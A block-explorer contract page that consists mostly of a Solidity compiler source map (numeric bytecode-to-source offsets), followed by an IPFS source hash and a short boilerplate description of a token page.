;;;;;;7331:5;7315:13;;:21;;;;;;;;;;;;;;;;;;6945:399;6895:449;;:::o;5246:316::-;5329:7;5349:17;5369:1;5349:21;;5404:13;5412:4;5404:7;:13::i;:::-;5381:9;:20;5391:9;;;;;;;;;;;5381:20;;;;;;;;;;;;;;;:36;;;;5432:30;5446:4;5452:9;5432:13;:30::i;:::-;5428:100;;;5491:25;5512:3;5491:16;5502:4;;5491:6;:10;;:16;;;;:::i;:::-;:20;;:25;;;;:::i;:::-;5479:37;;5428:100;5545:9;5538:16;;;5246:316;;;;;:::o;7350:167::-;7403:7;7423:10;7436:16;:14;:16::i;:::-;7423:29;;7470:39;7478:4;7484:2;7488:20;7498:9;;;;;;;;;;;7488;:20::i;:::-;7470:7;:39::i;:::-;7463:46;;;7350:167;;;:::o;5568:208::-;5641:4;5665:103;5675:4;5681:9;5710:7;;;;;;;;;;;:15;;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5692:44;;;5745:4;5752:7;;;;;;;;;;;:12;;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5692:75;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5665:9;:103::i;:::-;5658:110;;5568:208;;;;:::o;460:246::-;518:7;547:1;542;:6;538:47;;572:1;565:8;;;;538:47;595:9;611:1;607;:5;;;;:::i;:::-;595:17;;640:1;635;631;:5;;;;:::i;:::-;:10;623:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;697:1;690:8;;;460:246;;;;;:::o;712:177::-;770:7;802:1;798;:5;790:44;;;;;;;;;;;;:::i;:::-;;;;;;;;;845:9;861:1;857;:5;;;;:::i;:::-;845:17;;880:1;873:8;;;712:177;;;;:::o;8261:158::-;8309:7;8354;;;;;;;;;;;:15;;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8336:44;;;8389:4;8396:7;;;;;;;;;;;:12;;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8336:75;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8329:82;;8261:158;:::o;7523:303::-;7612:7;7632:14;7649:9;7632:26;;7686:2;7673:15;;:9;:15;;;7669:126;;7714:9;7705:18;;7669:126;;;7774:9;7765:6;:18;;;;:::i;:::-;7756:27;;7669:126;7812:6;7805:13;;;7523:303;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:116::-;4493:21;4508:5;4493:21;:::i;:::-;4486:5;4483:32;4473:60;;4529:1;4526;4519:12;4473:60;4423:116;:::o;4545:133::-;4588:5;4626:6;4613:20;4604:29;;4642:30;4666:5;4642:30;:::i;:::-;4545:133;;;;:::o;4684:323::-;4740:6;4789:2;4777:9;4768:7;4764:23;4760:32;4757:119;;;4795:79;;:::i;:::-;4757:119;4915:1;4940:50;4982:7;4973:6;4962:9;4958:22;4940:50;:::i;:::-;4930:60;;4886:114;4684:323;;;;:::o;5013:117::-;5122:1;5119;5112:12;5136:117;5245:1;5242;5235:12;5259:117;5368:1;5365;5358:12;5399:568;5472:8;5482:6;5532:3;5525:4;5517:6;5513:17;5509:27;5499:122;;5540:79;;:::i;:::-;5499:122;5653:6;5640:20;5630:30;;5683:18;5675:6;5672:30;5669:117;;;5705:79;;:::i;:::-;5669:117;5819:4;5811:6;5807:17;5795:29;;5873:3;5865:4;5857:6;5853:17;5843:8;5839:32;5836:41;5833:128;;;5880:79;;:::i;:::-;5833:128;5399:568;;;;;:::o;5973:559::-;6059:6;6067;6116:2;6104:9;6095:7;6091:23;6087:32;6084:119;;;6122:79;;:::i;:::-;6084:119;6270:1;6259:9;6255:17;6242:31;6300:18;6292:6;6289:30;6286:117;;;6322:79;;:::i;:::-;6286:117;6435:80;6507:7;6498:6;6487:9;6483:22;6435:80;:::i;:::-;6417:98;;;;6213:312;5973:559;;;;;:::o;6538:329::-;6597:6;6646:2;6634:9;6625:7;6621:23;6617:32;6614:119;;;6652:79;;:::i;:::-;6614:119;6772:1;6797:53;6842:7;6833:6;6822:9;6818:22;6797:53;:::i;:::-;6787:63;;6743:117;6538:329;;;;:::o;6873:118::-;6960:24;6978:5;6960:24;:::i;:::-;6955:3;6948:37;6873:118;;:::o;6997:222::-;7090:4;7128:2;7117:9;7113:18;7105:26;;7141:71;7209:1;7198:9;7194:17;7185:6;7141:71;:::i;:::-;6997:222;;;;:::o;7225:474::-;7293:6;7301;7350:2;7338:9;7329:7;7325:23;7321:32;7318:119;;;7356:79;;:::i;:::-;7318:119;7476:1;7501:53;7546:7;7537:6;7526:9;7522:22;7501:53;:::i;:::-;7491:63;;7447:117;7603:2;7629:53;7674:7;7665:6;7654:9;7650:22;7629:53;:::i;:::-;7619:63;;7574:118;7225:474;;;;;:::o;7705:619::-;7782:6;7790;7798;7847:2;7835:9;7826:7;7822:23;7818:32;7815:119;;;7853:79;;:::i;:::-;7815:119;7973:1;7998:53;8043:7;8034:6;8023:9;8019:22;7998:53;:::i;:::-;7988:63;;7944:117;8100:2;8126:53;8171:7;8162:6;8151:9;8147:22;8126:53;:::i;:::-;8116:63;;8071:118;8228:2;8254:53;8299:7;8290:6;8279:9;8275:22;8254:53;:::i;:::-;8244:63;;8199:118;7705:619;;;;;:::o;8330:180::-;8378:77;8375:1;8368:88;8475:4;8472:1;8465:15;8499:4;8496:1;8489:15;8516:320;8560:6;8597:1;8591:4;8587:12;8577:22;;8644:1;8638:4;8634:12;8665:18;8655:81;;8721:4;8713:6;8709:17;8699:27;;8655:81;8783:2;8775:6;8772:14;8752:18;8749:38;8746:84;;8802:18;;:::i;:::-;8746:84;8567:269;8516:320;;;:::o;8842:180::-;8890:77;8887:1;8880:88;8987:4;8984:1;8977:15;9011:4;9008:1;9001:15;9028:191;9068:3;9087:20;9105:1;9087:20;:::i;:::-;9082:25;;9121:20;9139:1;9121:20;:::i;:::-;9116:25;;9164:1;9161;9157:9;9150:16;;9185:3;9182:1;9179:10;9176:36;;;9192:18;;:::i;:::-;9176:36;9028:191;;;;:::o;9225:182::-;9365:34;9361:1;9353:6;9349:14;9342:58;9225:182;:::o;9413:366::-;9555:3;9576:67;9640:2;9635:3;9576:67;:::i;:::-;9569:74;;9652:93;9741:3;9652:93;:::i;:::-;9770:2;9765:3;9761:12;9754:19;;9413:366;;;:::o;9785:419::-;9951:4;9989:2;9978:9;9974:18;9966:26;;10038:9;10032:4;10028:20;10024:1;10013:9;10009:17;10002:47;10066:131;10192:4;10066:131;:::i;:::-;10058:139;;9785:419;;;:::o;10210:180::-;10258:77;10255:1;10248:88;10355:4;10352:1;10345:15;10379:4;10376:1;10369:15;10396:233;10435:3;10458:24;10476:5;10458:24;:::i;:::-;10449:33;;10504:66;10497:5;10494:77;10491:103;;10574:18;;:::i;:::-;10491:103;10621:1;10614:5;10610:13;10603:20;;10396:233;;;:::o;10635:194::-;10675:4;10695:20;10713:1;10695:20;:::i;:::-;10690:25;;10729:20;10747:1;10729:20;:::i;:::-;10724:25;;10773:1;10770;10766:9;10758:17;;10797:1;10791:4;10788:11;10785:37;;;10802:18;;:::i;:::-;10785:37;10635:194;;;;:::o;10835:224::-;10975:34;10971:1;10963:6;10959:14;10952:58;11044:7;11039:2;11031:6;11027:15;11020:32;10835:224;:::o;11065:366::-;11207:3;11228:67;11292:2;11287:3;11228:67;:::i;:::-;11221:74;;11304:93;11393:3;11304:93;:::i;:::-;11422:2;11417:3;11413:12;11406:19;;11065:366;;;:::o;11437:419::-;11603:4;11641:2;11630:9;11626:18;11618:26;;11690:9;11684:4;11680:20;11676:1;11665:9;11661:17;11654:47;11718:131;11844:4;11718:131;:::i;:::-;11710:139;;11437:419;;;:::o;11862:222::-;12002:34;11998:1;11990:6;11986:14;11979:58;12071:5;12066:2;12058:6;12054:15;12047:30;11862:222;:::o;12090:366::-;12232:3;12253:67;12317:2;12312:3;12253:67;:::i;:::-;12246:74;;12329:93;12418:3;12329:93;:::i;:::-;12447:2;12442:3;12438:12;12431:19;;12090:366;;;:::o;12462:419::-;12628:4;12666:2;12655:9;12651:18;12643:26;;12715:9;12709:4;12705:20;12701:1;12690:9;12686:17;12679:47;12743:131;12869:4;12743:131;:::i;:::-;12735:139;;12462:419;;;:::o;12887:180::-;12935:77;12932:1;12925:88;13032:4;13029:1;13022:15;13056:4;13053:1;13046:15;13073:143;13130:5;13161:6;13155:13;13146:22;;13177:33;13204:5;13177:33;:::i;:::-;13073:143;;;;:::o;13222:351::-;13292:6;13341:2;13329:9;13320:7;13316:23;13312:32;13309:119;;;13347:79;;:::i;:::-;13309:119;13467:1;13492:64;13548:7;13539:6;13528:9;13524:22;13492:64;:::i;:::-;13482:74;;13438:128;13222:351;;;;:::o;13579:85::-;13624:7;13653:5;13642:16;;13579:85;;;:::o;13670:60::-;13698:3;13719:5;13712:12;;13670:60;;;:::o;13736:158::-;13794:9;13827:61;13845:42;13854:32;13880:5;13854:32;:::i;:::-;13845:42;:::i;:::-;13827:61;:::i;:::-;13814:74;;13736:158;;;:::o;13900:147::-;13995:45;14034:5;13995:45;:::i;:::-;13990:3;13983:58;13900:147;;:::o;14053:114::-;14120:6;14154:5;14148:12;14138:22;;14053:114;;;:::o;14173:184::-;14272:11;14306:6;14301:3;14294:19;14346:4;14341:3;14337:14;14322:29;;14173:184;;;;:::o;14363:132::-;14430:4;14453:3;14445:11;;14483:4;14478:3;14474:14;14466:22;;14363:132;;;:::o;14501:108::-;14578:24;14596:5;14578:24;:::i;:::-;14573:3;14566:37;14501:108;;:::o;14615:179::-;14684:10;14705:46;14747:3;14739:6;14705:46;:::i;:::-;14783:4;14778:3;14774:14;14760:28;;14615:179;;;;:::o;14800:113::-;14870:4;14902;14897:3;14893:14;14885:22;;14800:113;;;:::o;14949:732::-;15068:3;15097:54;15145:5;15097:54;:::i;:::-;15167:86;15246:6;15241:3;15167:86;:::i;:::-;15160:93;;15277:56;15327:5;15277:56;:::i;:::-;15356:7;15387:1;15372:284;15397:6;15394:1;15391:13;15372:284;;;15473:6;15467:13;15500:63;15559:3;15544:13;15500:63;:::i;:::-;15493:70;;15586:60;15639:6;15586:60;:::i;:::-;15576:70;;15432:224;15419:1;15416;15412:9;15407:14;;15372:284;;;15376:14;15672:3;15665:10;;15073:608;;;14949:732;;;;:::o;15687:831::-;15950:4;15988:3;15977:9;15973:19;15965:27;;16002:71;16070:1;16059:9;16055:17;16046:6;16002:71;:::i;:::-;16083:80;16159:2;16148:9;16144:18;16135:6;16083:80;:::i;:::-;16210:9;16204:4;16200:20;16195:2;16184:9;16180:18;16173:48;16238:108;16341:4;16332:6;16238:108;:::i;:::-;16230:116;;16356:72;16424:2;16413:9;16409:18;16400:6;16356:72;:::i;:::-;16438:73;16506:3;16495:9;16491:19;16482:6;16438:73;:::i;:::-;15687:831;;;;;;;;:::o;16524:332::-;16645:4;16683:2;16672:9;16668:18;16660:26;;16696:71;16764:1;16753:9;16749:17;16740:6;16696:71;:::i;:::-;16777:72;16845:2;16834:9;16830:18;16821:6;16777:72;:::i;:::-;16524:332;;;;;:::o;16862:410::-;16902:7;16925:20;16943:1;16925:20;:::i;:::-;16920:25;;16959:20;16977:1;16959:20;:::i;:::-;16954:25;;17014:1;17011;17007:9;17036:30;17054:11;17036:30;:::i;:::-;17025:41;;17215:1;17206:7;17202:15;17199:1;17196:22;17176:1;17169:9;17149:83;17126:139;;17245:18;;:::i;:::-;17126:139;16910:362;16862:410;;;;:::o;17278:180::-;17326:77;17323:1;17316:88;17423:4;17420:1;17413:15;17447:4;17444:1;17437:15;17464:185;17504:1;17521:20;17539:1;17521:20;:::i;:::-;17516:25;;17555:20;17573:1;17555:20;:::i;:::-;17550:25;;17594:1;17584:35;;17599:18;;:::i;:::-;17584:35;17641:1;17638;17634:9;17629:14;;17464:185;;;;:::o;17655:220::-;17795:34;17791:1;17783:6;17779:14;17772:58;17864:3;17859:2;17851:6;17847:15;17840:28;17655:220;:::o;17881:366::-;18023:3;18044:67;18108:2;18103:3;18044:67;:::i;:::-;18037:74;;18120:93;18209:3;18120:93;:::i;:::-;18238:2;18233:3;18229:12;18222:19;;17881:366;;;:::o;18253:419::-;18419:4;18457:2;18446:9;18442:18;18434:26;;18506:9;18500:4;18496:20;18492:1;18481:9;18477:17;18470:47;18534:131;18660:4;18534:131;:::i;:::-;18526:139;;18253:419;;;:::o;18678:176::-;18818:28;18814:1;18806:6;18802:14;18795:52;18678:176;:::o;18860:366::-;19002:3;19023:67;19087:2;19082:3;19023:67;:::i;:::-;19016:74;;19099:93;19188:3;19099:93;:::i;:::-;19217:2;19212:3;19208:12;19201:19;;18860:366;;;:::o;19232:419::-;19398:4;19436:2;19425:9;19421:18;19413:26;;19485:9;19479:4;19475:20;19471:1;19460:9;19456:17;19449:47;19513:131;19639:4;19513:131;:::i;:::-;19505:139;;19232:419;;;:::o

Swarm Source

ipfs://e39473f8609b59f3c24de25dfa9d669239b900aceebd0c0a964fc16536b4700f
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.